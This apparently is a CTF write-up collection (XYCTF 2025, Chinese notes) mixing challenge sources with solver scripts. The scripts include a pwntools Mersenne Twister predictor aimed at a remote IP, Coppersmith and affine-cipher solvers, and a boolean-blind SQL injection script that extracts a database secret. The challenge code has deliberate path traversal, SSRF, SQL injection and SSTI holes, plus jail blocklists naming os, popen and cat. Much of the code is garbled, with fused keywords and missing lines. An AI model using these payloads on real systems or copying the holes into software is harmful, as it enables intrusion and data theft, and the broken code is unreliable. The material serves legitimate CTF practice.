# -*- encoding: utf-8 -*- ''' @File : server.py @Time : 2025/03/20 12:25:03 @Author : LamentXU ''' import random print('----Welcome to my division calc----') print(''' menu: [1] Division calc [2] Get flag ''') whileTrue: choose = input(': >>> ') if choose == '1': try: denominator = int(input('input the denominator: >>> ')) except: print('INPUT NUMBERS') continue nominator = random.getrandbits(32) if denominator == '0': print('NO YOU DONT') continue else: print(f'{nominator}//{denominator} = {nominator//denominator}') elif choose == '2': try: ans = input('input the answer: >>> ') rand1 = random.getrandbits(11000) rand2 = random.getrandbits(10000) correct_ans = rand1 // rand2 if correct_ans == int(ans): print('WOW') withopen('flag', 'r') as f: print(f'Here is your flag: {f.read()}') else: print(f'NOPE, the correct answer is {correct_ans}') except: print('INPUT NUMBERS') else: print('Invalid choice')
MT19937,令分母为1,连续获得624轮随机数,再预测rand1 rand2即可得到flag
from pwn import * from Crypto.Util.number import * from randcrack import RandCrack from tqdm import trange
p = remote("47.94.15.198", 20491) rc = RandCrack() for i in trange(624): p.recvuntil(': >>> ') p.sendline(b'1') p.recvuntil(': >>> ') p.sendline(b'1') a = str(p.recvline().decode()).split(' = ')[1] rc.submit(int(a)) p.recvuntil(': >>> ') p.sendline(b'2') p.recvuntil(': >>> ') rand1 = rc.predict_getrandbits(11000) rand2 = rc.predict_getrandbits(10000) ans = rand1 // rand2 p.sendline(str(ans)) p.recvuntil(b'Here is your flag: ') flag = p.recvline() print(flag) p.interactive()
Complex_signin
As everyone knows, a check-in challenge shouldn’t look too much like a check-in. So, this is a simple partial m leakage in RSA—but then again, it doesn’t seem like just a simple partial m leakage in RSA.
from Crypto.Util.number import * from Crypto.Cipher import ChaCha20 import hashlib from secret import flag
classComplex: def__init__(self, re, im): self.re = re self.im = im
defcomplex_pow(c, exp, n): result = Complex(1, 0) while exp > 0: if exp & 1: result = result * c result.re = result.re % n result.im = result.im % n c = c * c c.re = c.re % n c.im = c.im % n exp >>= 1 return result
bits = 128 p = getPrime(1024) q = getPrime(1024) n = p * q m = Complex(getRandomRange(1, n), getRandomRange(1, n)) e = 3 c = complex_pow(m, e, n) print(f"n = {n}") print(f"mh = {(m >> bits << bits).tolist()}") print(f"C = {c.tolist()}") print(f"enc = {ChaCha20.new(key=hashlib.sha256(str(m.re + m.im).encode()).digest(), nonce=b'Pr3d1ctmyxjj').encrypt(flag)}")
''' n = 24240993137357567658677097076762157882987659874601064738608971893024559525024581362454897599976003248892339463673241756118600994494150721789525924054960470762499808771760690211841936903839232109208099640507210141111314563007924046946402216384360405445595854947145800754365717704762310092558089455516189533635318084532202438477871458797287721022389909953190113597425964395222426700352859740293834121123138183367554858896124509695602915312917886769066254219381427385100688110915129283949340133524365403188753735534290512113201932620106585043122707355381551006014647469884010069878477179147719913280272028376706421104753 mh = [3960604425233637243960750976884707892473356737965752732899783806146911898367312949419828751012380013933993271701949681295313483782313836179989146607655230162315784541236731368582965456428944524621026385297377746108440938677401125816586119588080150103855075450874206012903009942468340296995700270449643148025957527925452034647677446705198250167222150181312718642480834399766134519333316989347221448685711220842032010517045985044813674426104295710015607450682205211098779229647334749706043180512861889295899050427257721209370423421046811102682648967375219936664246584194224745761842962418864084904820764122207293014016, 15053801146135239412812153100772352976861411085516247673065559201085791622602365389885455357620354025972053252939439247746724492130435830816513505615952791448705492885525709421224584364037704802923497222819113629874137050874966691886390837364018702981146413066712287361010611405028353728676772998972695270707666289161746024725705731676511793934556785324668045957177856807914741189938780850108643929261692799397326838812262009873072175627051209104209229233754715491428364039564130435227582042666464866336424773552304555244949976525797616679252470574006820212465924134763386213550360175810288209936288398862565142167552] C = [5300743174999795329371527870190100703154639960450575575101738225528814331152637733729613419201898994386548816504858409726318742419169717222702404409496156167283354163362729304279553214510160589336672463972767842604886866159600567533436626931810981418193227593758688610512556391129176234307448758534506432755113432411099690991453452199653214054901093242337700880661006486138424743085527911347931571730473582051987520447237586885119205422668971876488684708196255266536680083835972668749902212285032756286424244284136941767752754078598830317271949981378674176685159516777247305970365843616105513456452993199192823148760, 21112179095014976702043514329117175747825140730885731533311755299178008997398851800028751416090265195760178867626233456642594578588007570838933135396672730765007160135908314028300141127837769297682479678972455077606519053977383739500664851033908924293990399261838079993207621314584108891814038236135637105408310569002463379136544773406496600396931819980400197333039720344346032547489037834427091233045574086625061748398991041014394602237400713218611015436866842699640680804906008370869021545517947588322083793581852529192500912579560094015867120212711242523672548392160514345774299568940390940653232489808850407256752] enc = b'\x9c\xc4n\x8dF\xd9\x9e\xf4\x05\x82!\xde\xfe\x012$\xd0\x8c\xaf\xfb\rEb(\x04)\xa1\xa6\xbaI2J\xd2\xb2\x898\x11\xe6x\xa9\x19\x00pn\xf6rs- \xd2\xd1\xbe\xc7\xf51.\xd4\xd2 \xe7\xc6\xca\xe5\x19\xbe' '''
# sage from sage.allimport * from Crypto.Cipher import ChaCha20 import hashlib import itertools
defsmall_roots(f, bounds, m=1, d=None): ifnot d: d = f.degree()
R = f.base_ring() N = R.cardinality()
f /= f.coefficients().pop(0) f = f.change_ring(ZZ)
G = Sequence([], f.parent()) for i inrange(m + 1): base = N ^ (m - i) * f ^ i for shifts in itertools.product(range(d), repeat=f.nvariables()): g = base * prod(map(power, f.variables(), shifts)) G.append(g)
factors = [monomial(*bounds) for monomial in monomials] for i, factor inenumerate(factors): B.rescale_col(i, factor)
B = B.dense_matrix().LLL()
B = B.change_ring(QQ) for i, factor inenumerate(factors): B.rescale_col(i, 1 / factor)
H = Sequence([], f.parent().change_ring(QQ)) for h infilter(None, B * monomials): H.append(h) I = H.ideal() if I.dimension() == -1: H.pop() elif I.dimension() == 0: roots = [] for root in I.variety(ring=ZZ): root = tuple(R(root[var]) for var in f.variables()) roots.append(root) return roots
defnext(self): x = random.randint(self.a, self.b) random.seed(x ** 2 + 1) return x defround(self, k): for _ inrange(k): x = self.next() return x
defencrypt(msg, a, b): c = [(a * table.index(m) + b) % 19198111for m in msg] return c
seed = int(input('give me seed: ')) prng = PRNG(seed) a = prng.round(r.randrange(2**16)) b = prng.round(r.randrange(2**16)) enc = encrypt(flag, a, b) print(enc)
table = string.ascii_letters + string.digits p = 19198111
defegcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y)
defmodinv(a, mod): g, x, y = egcd(a, mod) if g != 1: returnNone else: return x % mod
defdecrypt(enc): for i inrange(len(enc)): for j inrange(i + 1, len(enc)): c0 = enc[i] c1 = enc[j] for m0 inrange(len(table)): for m1 inrange(len(table)): if m0 == m1: continue delta_m = m1 - m0 delta_c = (c1 - c0) % p inv = modinv(delta_m, p) if inv isNone: continue a = (delta_c * inv) % p b = (c0 - a * m0) % p # Check if a and b are within PRNG's output range ifnot (1145140 <= a <= 19198100): continue ifnot (1145140 <= b <= 19198100): continue valid = True decrypted = [] for c in enc: numerator = (c - b) % p inv_a = modinv(a, p) if inv_a isNone: valid = False break m = (numerator * inv_a) % p ifnot (0 <= m < len(table)): valid = False break decrypted.append(table[m]) if valid: return''.join(decrypted) return"解密失败"
io.recvuntil(b'give me seed: ') io.sendline(str(114514)) enc = json.loads(io.recvline().decode()) flag = decrypt(enc) print("解密后的Flag:", f'XYCTF{{{flag}}}') # 解密后的Flag: XYCTF{114514fixedpointissodangerous1919810}
choice
Before we wrap up, here’s one last easy problem.
random.py说实话没什么用
from Crypto.Util.number import bytes_to_long from random import Random from secret import flag
assert flag.startswith(b'XYCTF{') and flag.endswith(b'}') flag = flag[6:-1]
msg = bytes_to_long(flag) rand = Random() test = bytes([i for i inrange(255, -1, -1)]) open('output.py', 'w').write(f'enc = {msg ^ rand.getrandbits(msg.bit_length())}\nr = {[rand.choice(test) for _ inrange(2496)]}')
from MT19937 import MT19937 from Crypto.Util.number import * enc = 5042764371819053176884777909105310461303359296255297 length = enc.bit_length() print(length) r = [] r = [255-i for i in r] rng_clone = MT19937(state_from_data = (r, 8))
defgetrandbits(n): num = 0 for i inrange(n//32): num = (rng_clone() << (32 * i)) | num num = rng_clone() >> (32 - (n % 32)) << n//32*32 | num return num
rng_clone.reverse_states(length//32+1) # 回退到生成前n个随机数之前的状态 flag = enc ^^ getrandbits(176-1) # 172/8=21.5,22*8=176,可能存在误差所以减1试试 flag = b'XYCTF{'+long_to_bytes(flag)+b'}' print(flag.decode()) # XYCTF{___0h_51mple_r@nd0m___}
prng_xxxx*
Why is it called prng_xxxx?Well, to cut costs and improve efficiency, we “laid off” the LFSR. Of course, this means the PRNG now has to do a lot more work—so it’s getting way more salary! XDNote: You can check out prng_lfsr on https://tangcuxiaojikuai.xyz/post/cb7cb618.html for some inspiration.
from Crypto.Cipher import AES from Crypto.Util.Padding import pad from hashlib import md5 from secret import flag, b, seed
classLCG: def__init__(self, seed, a, b): self.seed = seed self.a = a self.b = b self.m = 2**128
classComComplex: def__init__(self, value=[0,0,0,0]): self.value = value def__str__(self): s = str(self.value[0]) for k,i inenumerate(self.value[1:]): if i >= 0: s += '+' s += str(i) +'ijk'[k] return s def__add__(self,x): return ComComplex([i+j for i,j inzip(self.value,x.value)]) def__mul__(self,x): a = self.value[0]*x.value[0]-self.value[1]*x.value[1]-self.value[2]*x.value[2]-self.value[3]*x.value[3] b = self.value[0]*x.value[1]+self.value[1]*x.value[0]+self.value[2]*x.value[3]-self.value[3]*x.value[2] c = self.value[0]*x.value[2]-self.value[1]*x.value[3]+self.value[2]*x.value[0]+self.value[3]*x.value[1] d = self.value[0]*x.value[3]+self.value[1]*x.value[2]-self.value[2]*x.value[1]+self.value[3]*x.value[0] return ComComplex([a,b,c,d]) def__mod__(self,x): return ComComplex([i % x for i in self.value]) def__pow__(self, x, n=None): tmp = ComComplex(self.value) a = ComComplex([1,0,0,0]) while x: if x & 1: a *= tmp tmp *= tmp if n: a %= n tmp %= n x >>= 1 return a
from Crypto.Util.number import * from secret import flag, hint
p = getPrime(256) q = getPrime(256) r = getPrime(256) n = p * q * r
P = getPrime(512) assertlen(hint) == 20 hints = ComComplex([bytes_to_long(hint[i:i+5]) for i inrange(0,20,5)]) keys = ComComplex([0, p, q, r]) print('hint =',hints) print('gift =',hints*keys%P) print('P =',P)
e = 65547 m = ComComplex([bytes_to_long(flag[i:i+len(flag)//4+1]) for i inrange(0,len(flag),len(flag)//4+1)]) c = pow(m, e, n) print('n =', n) print('c =', c)
''' hint = 375413371936+452903063925i+418564633198j+452841062207k gift = 8123312244520119413231609191866976836916616973013918670932199631084038015924368317077919454611785179950870055560079987034735836668109705445946887481003729+20508867471664499348708768798854433383217801696267611753941328714877299161068885700412171i+22802458968832151777449744120185122420871929971817937643641589637402679927558503881707868j+40224499597522456323122179021760594618350780974297095023316834212332206526399536884102863k P = 8123312244520119413231609191866976836916616973013918670932199631182724263362174895104545305364960781233690810077210539091362134310623408173268475389315109 n = 408713495380933615345467409596399184629824932933932227692519320046890365817329617301604051766392980053993030281090124694858194866782889226223493799859404283664530068697313752856923001112586828837146686963124061670340088332769524367 c = 212391106108596254648968182832931369624606731443797421732310126161911908195602305474921714075911012622738456373731638115041135121458776339519085497285769160263024788009541257401354037620169924991531279387552806754098200127027800103+24398526281840329222660628769015610312084745844610670698920371305353888694519135578269023873988641161449924124665731242993290561874625654977013162008430854786349580090169988458393820787665342793716311005178101342140536536153873825i+45426319565874516841189981758358042952736832934179778483602503215353130229731883231784466068253520728052302138781204883495827539943655851877172681021818282251414044916889460602783324944030929987991059211909160860125047647337380125j+96704582331728201332157222706704482771142627223521415975953255983058954606417974983056516338287792260492498273014507582247155218239742778886055575426154960475637748339582574453542182586573424942835640846567809581805953259331957385k '''
Isn’t it ironic? Greed isn’t limited. Freedom is a limited resource.
nc 8.147.132.3217479 Welcome to the Greedy Game Your goal is to be as greedy as possible 1.Play 2.Rules 3.Quit 2 There are 3 levels, level 1/2/3 has number 1 to 50/100/200 on board to choose from Each number you choose, you get the corresponding points However, your opponent will choose all the factors of the number you choose, and get the points of each factor You can not choose numbers that are already assigned to a player You are only allow to choose the number if it has at least one factor not choosen If you can't choose anymore, the rest of the board goes to your opponent To make the challenge harder, there is a counter that starts with 19/37/76 in level 1/2/3, each time you choose a number, the counter decreases by 1 When it reaches 0, and the game will end, and the unassigned numbers will go to your opponent The challenge is always solvable Player with highest score wins Good Luck! 1.Play 2.Rules 3.Quit 1 Level 1/3 50 Numbers Unassigned Numbers: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50] Counter: 19 Your Score: 0 Opponent Score: 0 Choose a Number:49 Unassigned Numbers: [2, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 50] Counter: 18 Your Score: 49 Opponent Score: 8 Choose a Number:
肥肠好玩的一个游戏
sins*
“Come now, let us settle the matter,” says the LORD. “Though your sins are like scarlet, they shall be as white as snow; though they are red as crimson, they shall be like wool. - Isaiah 1:18
from secret import flag
print('For there are three that bear record in heaven, the Father, the Word, and the Holy Ghost') print('But here we have four cases bearing witness')
defi_pow(n): if n % 4 == 0: # as the 40 days of flood return'1' elif n % 4 == 1: # as the 1 true God return'i' elif n % 4 == 2: # as the 2 tablets of stone return'-1' elif n % 4 == 3: # as the 3 days in the tomb return'-i'
inp = input("wash away your sins: ") assertall(i in"i0123456789+-*%/^=<>~&|:()[]'"for i in inp), "invalid char" assertlen(inp) < 16, "too long" R = eval(f"lambda i: {inp}", {}, {}) assertall(R(i) == i_pow(i) for i inrange(int.from_bytes(b'The_adwa_shall_forgive_thee') // 2**195)) print(flag)
# -*- coding:utf-8 -*- # @FileName :Lament_Jail.py # @Time :2025/3/22 12:37:43 # @Author :LamentXU from socket import * from os import remove from Crypto.Cipher import AES, PKCS1_OAEP from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from zlib import compress, decompress from uuid import uuid4 from json import dumps from subprocess import Popen, PIPE ''' Definate all the errors ''' classMessageLengthError(Exception): def__init__(self, message) -> None: self.message = message
classPasswordError(Exception): def__init__(self, message) -> None: self.message = message classSimpleTCP(): ''' The main class when using TCP '''
def__init__(self, family: AddressFamily = AF_INET, type: SocketKind = SOCK_STREAM , proto: int = -1, fileno: int = None, is_encrypted: bool = True, AES_key: bytes = None, password: bytes = None) -> None: ''' is_encrypted: use encrypted connection, only for server AES_key: use a fixed AES_key, None for random, must be 16 bytes, only for server password: A fixed password is acquired from the client (must smaller than be 100 bytes), if wrong, the connection will be closed if password is set in server, every time a client connect, the client must send the same password back to the server to accept. if password is set in client, every time you connect to the server, the password will be sent to the server to verify. if password is None, no password will be used. self.Default_message_len: if in encrypted mode, the value must be a multiple of self.BLOCK_SIZE MAKE SURE THE DEFAULT_MESSAGE_LEN OF BOTH SERVER AND CLIENT ARE SAME, Or it could be a hassle ''' self.BLOCK_SIZE = 16# block size of padding text which will be encrypted by AES # the block size must be a mutiple of 8 self.default_encoder = 'utf8'# the default encoder used in send and recv when the message is not bytes if is_encrypted: if AES_key == None: self.key = get_random_bytes(16) # generate 16 bytes AES code else: self.key = AES_key #TODO check the input self.cipher_aes = AES.new(self.key, AES.MODE_ECB) else: self.key, self.cipher_aes = None, None self.default_message_len = 1024# length of some basic message, it's best not to go below 1024 bytes if password == None: self.password = None else: self.password = self.turn_to_bytes(password) iflen(password) > 100: raise ValueError('The password is too long, it must be smaller than 100 bytes') self.s = socket(family, type, proto, fileno) # main socket defaccept(self) -> tuple: ''' Accept with information exchange and key exchange, return the address of the client if the password from client is wrong or not set, raise PasswordError ''' self.s, address = self.s.accept() if self.key == None: is_encrypted = False else: is_encrypted = True if self.password == None: has_password = False else: has_password = True info_dict = { 'is_encrypted' : is_encrypted, 'has_password' : has_password} info_dict = dumps(info_dict).encode(encoding=self.default_encoder) self.s.send(self.turn_to_bytes(len(info_dict))) self.s.send(info_dict) if has_password: password_length = self.unpadding_packets(self.s.recv(3), -1) ifnot password_length: self.s.close() raise PasswordError(f'The client {address} does not send the password, the connection will be closed') recv_password = self.s.recv(int(password_length.decode(encoding=self.default_encoder))) # the first byte is whether the password is aquired(1) or not(0), the rest is the password, the password is padded to 100 bytes if recv_password != self.password or recv_password[0] == b'0': self.s.send(b'0') self.s.close() raise PasswordError(f'The password {recv_password} is wrong, the connection from {address} will be closed, you can restart the accept() function or put it in a while loop to keep accepting') else: self.s.send(b'1') if is_encrypted: public_key = self.s.recv(450) rsa_public_key = RSA.import_key(public_key) cipher_rsa = PKCS1_OAEP.new(rsa_public_key) encrypted_aes_key = cipher_rsa.encrypt(self.key) self.s.send(encrypted_aes_key) # TODO return address defturn_to_bytes(self, message) -> bytes: ''' Turn str, int, etc. to bytes using {self.default_encoder} ''' type_of_message = type(message) if type_of_message == str: try: message = message.encode(encoding=self.default_encoder) except Exception as e: raise TypeError( 'Unexpected type "{}" of {} when encode it with {}, raw traceback: {}'.format(type_of_message, message, self.default_encoder, e)) elif type_of_message == bytes: pass else: try: message = str(message).encode(encoding=self.default_encoder) except: raise TypeError( 'Unexpected type "{}" of {}'.format(type_of_message, message)) return message defunpadding_packets(self, data: bytes, pad_num: int) -> bytes: ''' Delete the blank bytes at the back of the message pad_num : number of the blank bytes pad_num = -1, delete all the blank bytes the the back(or use .rstrip() directly is ok) ''' if pad_num == -1: data = data.rstrip() else: while pad_num > 0and data[-1:] == b' ': data = data[:-1] pad_num -= 1 return data defpadding_packets(self, message: bytes, target_length: int = None) -> tuple: ''' Pad the packet to {target_length} bytes with b' ', used in not-encrypted mode The packet must be smaller then {target_length} target_length = None : use self.default_message_len ''' message = self.turn_to_bytes(message) if target_length == None: target_length = self.default_message_len iflen(message) > target_length: raise MessageLengthError( 'the length {} bytes of the message is bigger than {} bytes, please use self.send_large_small and self.recv instead'.format(str(len(message)), target_length)) pad_num = target_length-len(message) message += b' ' * pad_num return (message, pad_num) defpad_packets_to_mutiple(self, data: bytes, block_size: int == None) -> bytes: ''' Pad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode target_length = None : use self.BLOCK_SIZE ''' padding_length = block_size - (len(data) % block_size) if padding_length == 0: padding_length = block_size padding = bytes([padding_length]) * padding_length padded_data = data + padding return padded_data defsend_large(self, message) -> None: ''' Send message with the socket can accept bytes, str, int, etc. every non-bytes message will be encoded with self.default_encoder Every packet is forced to be filled to {self.default_message_len} bytes ''' message = self.turn_to_bytes(message) message = compress(message) message_list = [message[i:i + self.default_message_len] for i inrange(0, len(message), self.default_message_len)] message_list_len = len(message_list) self._send(self.padding_packets( self.turn_to_bytes(message_list_len))[0]) message_index = 0 for message in message_list: message_padded = self.padding_packets(message) message = message_padded[0] self._send(message) message_index += 1 if message_index == message_list_len: pad_num = message_padded[1] self._send(self.padding_packets( self.turn_to_bytes(str(pad_num)))[0])
defsend(self, message) -> None: ''' Send a message with the socket can accept bytes, str, int, etc. The data should not be larger than 9999 bytes It can be used at any time Use self.send_large and recv_large if you want to send a big message ''' message = self.turn_to_bytes(message) try: message_len = self.padding_packets( self.turn_to_bytes(len(message)), target_length=4)[0] except MessageLengthError: raise MessageLengthError( 'The length of message is longer than 9999 bytes({} bytes), please use send_large instead'.format(str(len(message)))) self._send(message_len) self._send(message)
def_send(self, message: bytes) -> None: ''' The basic method to encrypt and send data MUST BE A MUTIPLE OF THE BLOCK SIZE IN ENCRYPTED MODE ''' if self.cipher_aes != None: output_message = self.cipher_aes.encrypt(self.pad_packets_to_mutiple(message, self.BLOCK_SIZE)) # plainmessage = unpad(self.cipher_aes.decrypt(output_message), self.BLOCK_SIZE) else: output_message = message self.s.send(output_message) # The TCP mode
defrecvfile(self) -> bytes: ''' Only receive file sent using self.send_largefile ''' output = b'' whileTrue: a = self.recv_large(is_decode=False) if a != 'EOF'.encode(encoding=self.default_encoder): output += a else: break return output defrecv_large(self, is_decode: bool = True): ''' The return type can be bytes or string The method to recv message WHICH IS SENT BY self.send_large is_decode : decode the message with {self.default_encoder} ''' message_listlen = self._recv(self.default_message_len).decode( encoding=self.default_encoder).rstrip() message_listlen = int(message_listlen) message = b'' for i inrange(0, message_listlen): mes = self._recv(self.default_message_len) if i == message_listlen - 1: mes_padnum = int(self._recv(self.default_message_len).decode( encoding=self.default_encoder)) else: mes_padnum = 0 mes = self.unpadding_packets(mes, mes_padnum) message += mes message = decompress(message) if is_decode: message = message.decode(encoding=self.default_encoder) return message def_recv(self, length: int) -> bytes: ''' The basic method to decrypt and recv data ''' if self.cipher_aes != None: if length % 16 == 0: length += 16 length = (length + self.BLOCK_SIZE-1) // self.BLOCK_SIZE * self.BLOCK_SIZE # round up to multiple of 16 message = self.s.recv(length) message = self.cipher_aes.decrypt(message) message = self.unpad_packets_to_mutiple(message, self.BLOCK_SIZE) else: message = self.s.recv(length) return message defunpad_packets_to_mutiple(self, padded_data: bytes, block_size: int == None) -> bytes: ''' Unpad the data to make the length of it become a mutiple of Blocksize, used in encrypted mode target_length = None : use self.BLOCK_SIZE ''' if block_size == None: block_size = self.BLOCK_SIZE padding = padded_data[-1] if padding > block_size orany(byte != padding for byte in padded_data[-padding:]): raise ValueError("Invalid padding") return padded_data[:-padding] defmain(): Sock = SimpleTCP(password='LetsLament') Sock.s.bind(('0.0.0.0', 13337)) Sock.s.listen(5) whileTrue: _ = Sock.accept() Sock.send('Hello, THE flag speaking.') Sock.send('I will not let you to control Lament Jail forever.') Sock.send('But, my friend LamentXU has to control it, as he will rescue me out of this jail.') Sock.send('So here is the pyJail I build. Only LamentXU knows how to break it.') a = Sock.recvfile().decode() waf = ''' import sys def audit_checker(event,args): if not 'id' in event: raise RuntimeError sys.addaudithook(audit_checker) ''' content = waf + a name = uuid4().hex+'.py' withopen(name, 'w') as f: f.write(content) try: cmd = ["python3", name] p = Popen(cmd, stdout=PIPE, stderr=PIPE) for line initer(p.stdout.readline, b''): Sock.send(line.decode('utf-8').strip()) p.wait() Sock.send('Done, BYE.') except: Sock.send('Error.') finally: Sock.s.close() remove(name) if __name__ == '__main__': whileTrue: try: main() except: pass
# -*- encoding: utf-8 -*- ''' @File : main.py @Time : 2025/03/28 22:20:49 @Author : LamentXU ''' ''' flag in /flag_{uuid4} ''' from bottle import Bottle, request, response, redirect, static_file, run, route withopen('../../secret.txt', 'r') as f: secret = f.read()
app = Bottle() @route('/') defindex(): return'''HI''' @route('/download') defdownload(): name = request.query.filename if'../../'in name or name.startswith('/') or name.startswith('../') or'\\'in name: response.status = 403 return'Forbidden' withopen(name, 'rb') as f: data = f.read() return data
@route('/secret') defsecret_page(): try: session = request.get_cookie("name", secret=secret) ifnot session or session["name"] == "guest": session = {"name": "guest"} response.set_cookie("name", session, secret=secret) return'Forbidden!' if session["name"] == "admin": return'The secret has been deleted!' except: return"Error!" run(host='0.0.0.0', port=8080, debug=False)
url = 'xxx/login.php' text = '' i = 0 j = 0 whileTrue: head = 1 tail = 127 i += 1 while head < tail: j += 1 mid = (head + tail) >> 1 # payload = f"1' or ascii(substr(database() from {i} for {i})) > {mid}#" # testdb # payload = f"1' or ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {i} for {i})) > {mid}#" # double_check,user # payload = f"1' or ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='double_check') from {i} for {i})) > {mid}#" # secret payload = f"1' or ascii(substr((select group_concat(secret) from double_check) from {i} for {i})) > {mid}#" # dtfrtkcc0czkoua9S # param = "id" + payload data = {"username": payload.replace(" ", "\t"), "password": "123456"} # r = requests.get(url, params=param) r = requests.post(url, data=data) if"帐号或密码错误"notin r.text: head = mid + 1 else: tail = mid if head != 1: text += chr(head) print(text) else: break
#!/usr/bin/env python3 import flask import sqlite3 import requests import string import json app = flask.Flask(__name__) blacklist = string.ascii_letters defbinary_to_string(binary_string): iflen(binary_string) % 8 != 0: raise ValueError("Binary string length must be a multiple of 8") binary_chunks = [binary_string[i:i+8] for i inrange(0, len(binary_string), 8)] string_output = ''.join(chr(int(chunk, 2)) for chunk in binary_chunks) return string_output
@app.route('/proxy', methods=['GET']) defnolettersproxy(): url = flask.request.args.get('url') ifnot url: return flask.abort(400, 'No URL provided') target_url = "http://lamentxu.top" + url for i in blacklist: if i in url: return flask.abort(403, 'I blacklist the whole alphabet, hiahiahiahiahiahiahia~~~~~~') if"."in url: return flask.abort(403, 'No ssrf allowed') response = requests.get(target_url)
return flask.Response(response.content, response.status_code) defdb_search(code): with sqlite3.connect('database.db') as conn: cur = conn.cursor() cur.execute(f"SELECT FATE FROM FATETABLE WHERE NAME=UPPER(UPPER(UPPER(UPPER(UPPER(UPPER(UPPER('{code}')))))))") found = cur.fetchone() returnNoneif found isNoneelse found[0]
@app.route('/1337', methods=['GET']) defapi_search(): if flask.request.remote_addr == '127.0.0.1': code = flask.request.args.get('0') if code == 'abcdefghi': req = flask.request.args.get('1') try: req = binary_to_string(req) print(req) req = json.loads(req) # No one can hack it, right? Pickle unserialize is not secure, but json is ;) except: flask.abort(400, "Invalid JSON") if'name'notin req: flask.abort(400, "Empty Person's name")
name = req['name'] iflen(name) > 6: flask.abort(400, "Too long") if'\''in name: flask.abort(400, "NO '") if')'in name: flask.abort(400, "NO )") """ Some waf hidden here ;) """
fate = db_search(name) if fate isNone: flask.abort(404, "No such Person")
return {'Fate': fate} else: flask.abort(400, "Hello local, and hello hacker") else: flask.abort(403, "Only local access allowed")
if __name__ == '__main__': app.run(debug=True)
Now you see me 1*
{%print("Welcome the four horsemen tonight!")%}
先解base64
# YOU FOUND ME ;) # -*- encoding: utf-8 -*- ''' @File : src.py @Time : 2025/03/29 01:10:37 @Author : LamentXU ''' import flask import sys enable_hook = False counter = 0 defaudit_checker(event,args): global counter if enable_hook: if event in ["exec", "compile"]: counter += 1 if counter > 4: raise RuntimeError(event)
lock_within = [ "debug", "form", "args", "values", "headers", "json", "stream", "environ", "files", "method", "cookies", "application", 'data', 'url' ,'\'', '"', "getattr", "_", "{{", "}}", "[", "]", "\\", "/","self", "lipsum", "cycler", "joiner", "namespace", "init", "dir", "join", "decode", "batch", "first", "last" , " ","dict","list","g.", "os", "subprocess", "g|a", "GLOBALS", "lower", "upper", "BUILTINS", "select", "WHOAMI", "path", "os", "popen", "cat", "nl", "app", "setattr", "translate", "sort", "base64", "encode", "\\u", "pop", "referer", "The closer you see, the lesser you find."] # I hate all these. app = flask.Flask(__name__) @app.route('/') defindex(): return'try /H3dden_route' @app.route('/H3dden_route') defr3al_ins1de_th0ught(): global enable_hook, counter name = flask.request.args.get('My_ins1de_w0r1d') if name: try: if name.startswith("Follow-your-heart-"): for i in lock_within: if i in name: return'NOPE.' enable_hook = True a = flask.render_template_string('{#'+f'{name}'+'#}') enable_hook = False counter = 0 return a else: return'My inside world is always hidden.' except RuntimeError as e: counter = 0 return'NO.' except Exception as e: return'Error' else: return'Welcome to Hidden_route!'
if __name__ == '__main__': import os try: import _posixsubprocess del _posixsubprocess.fork_exec except: pass import subprocess del os.popen del os.system del subprocess.Popen del subprocess.call del subprocess.run del subprocess.check_output del subprocess.getoutput del subprocess.check_call del subprocess.getstatusoutput del subprocess.PIPE del subprocess.STDOUT del subprocess.CalledProcessError del subprocess.TimeoutExpired del subprocess.SubprocessError sys.addaudithook(audit_checker) app.run(debug=False, host='0.0.0.0', port=5000)
Now you see me 2*
{%print("We are the four horsemen.")%} 压缩包密码为“Now you see me 1”的flag